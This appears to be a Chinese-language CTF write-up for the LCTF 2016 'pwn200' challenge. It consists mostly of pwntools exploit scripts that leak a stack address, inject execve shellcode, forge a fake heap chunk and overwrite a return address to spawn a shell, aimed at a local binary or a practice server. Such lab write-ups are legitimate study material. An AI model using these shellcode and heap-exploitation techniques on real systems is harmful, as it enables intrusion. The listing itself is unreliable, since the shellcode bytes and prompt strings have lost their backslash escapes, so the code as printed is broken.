漏洞学习之PWN-lctf2016:pwn200 堆利用

Python
from pwn import *
import pdb
# -*- coding: utf-8 -*-

debug = 1
if (debug):
p = process("./pwn200")
else:
p = remote('node4.buuoj.cn', 25403)

elf = ELF("./pwn200")

# context(os='linux', arch='amd64', log_level='debug') # 设置环境

def leak(payload):
p.sendafter('who are u?',payload)
buffer = p.recvuntil('welcome to xdctf~n')
return buffer.split()[0][-7:-1]

shellcode = b'x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05'
# print(len(shellcode))
payload=shellcode+b'A'*21

# --- leak stack RBP ----
buffer = leak(payload)
rbp_addr = u64(buffer+b'x00'+b'x00')
print(hex(rbp_addr))

p.recvuntil('give me your id ~~?')
p.sendline('0')

# 0x50 offset

shellcode_addr = p64(rbp_addr-0x50)

payload = shellcode_addr + b'A'*(0x38 - len(shellcode_addr)) + p64(elf.got["free"])
p.recvuntil('give me money~')
p.sendline(payload)

# pdb.set_trace()

p.recvuntil('choice :')
p.sendline('2')

p.interactive()

Plain Text
=======EASY HOTEL========
1. check in
2. check out
3. goodbye
your choice :

Python
from pwn import *
import pdb
# -*- coding: utf-8 -*-

context.log_level = 'debug'

debug = 1
if (debug):
p = process("./pwn200")
else:
p = remote('node4.buuoj.cn', 25403)

elf = ELF("./pwn200")

def leak(payload):
p.sendafter('who are u?',payload)
buffer = p.recvuntil('welcome to xdctf~n')
return buffer.split()[0][-7:-1]

# --- leak ----
shellcode = b'x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05'
# print(len(shellcode))
payload=shellcode+b'A'*21

buffer = leak(payload)
rbp_addr = u64(buffer+b'x00'+b'x00')
# print(hex(rbp_addr))
log.info("rbp addr: "+hex(rbp_addr))
shellcode_addr = rbp_addr - 0x48 - 0x8 #0x48 - 0x8 是shellcode 在内存中的地址
# fakechunk_addr = rbp_addr - 0x20 - 0x30 - 0x40 # fakechunk.size = 0x40
fakechunk_addr = rbp_addr - 0x90 #

log.info("shellcode addr: " + hex(shellcode_addr))
log.info("fakechunk addr: " + hex(fakechunk_addr))

p.sendlineafter('give me your id ~~?','32') # id 保存在rbp+38的位置，表示下一个chunk的 size 为了绕过free的检查
fake_chunk = p64(0)*5 #
fake_chunk += p64(0x41)
# fake_chunk += p64(fakechunk_addr)
fake_chunk += p64(0)
# print(len(fake_chunk))
fake_chunk += p64(fakechunk_addr) # 这里是fake 的 menu处的地址
# fake_chunk += p64(0)
log.info("len: "+hex(len(fake_chunk)))
# payload=b'b'*0x21

p.sendafter('give me money~',fake_chunk) # 此处dest被覆盖为fakechunk_addr

#这里要把fake_chunk 地址转移到 ptr变量上。

p.sendlineafter("choice : ", '2') #这里free
p.sendlineafter("choice : ", '1') #这里是malloc
p.sendlineafter("how long?", "48") #48 是rbp 到money的地址距离 48是0x30大小，刚刚构造的chunk是头部0x11+data0x30=chunk大小0x41，所以要申请48大小的堆

payload = b'B'*0x18
payload += p64(shellcode_addr) #这个地址需要覆盖rip的返回地址 这里需要知道 ptr 距离返回值差距多少
# payload += b'x00'*16
print(hex(len(payload)))
# pdb.set_trace()
p.sendafter("48n",payload) # give me more money :
p.sendlineafter("choice","3")

p.interactive()

Bash
payload=shellcode+b'A'*21
p.sendafter('who are u?',payload)
buffer = p.recvuntil('welcome to xdctf~n')
buffer = buffer.split()[0][-7:-1]
rbp_addr = u64(buffer+b'x00'+b'x00')
log.info("rbp addr: "+hex(rbp_addr))

Python
fakechunk_addr = rbp_addr - 0x90
fake_chunk = p64(0)*5 #
fake_chunk += p64(0x41)
# fake_chunk += p64(fakechunk_addr)
fake_chunk += p64(0)
# print(len(fake_chunk))
fake_chunk += p64(fakechunk_addr) # 这里是fake 的 men处的地址
p.sendafter('give me money~',fake_chunk)

Python
payload = b'B'*0x18
payload += p64(shellcode_addr)
p.sendafter("48n",payload)
p.sendlineafter("choice","3")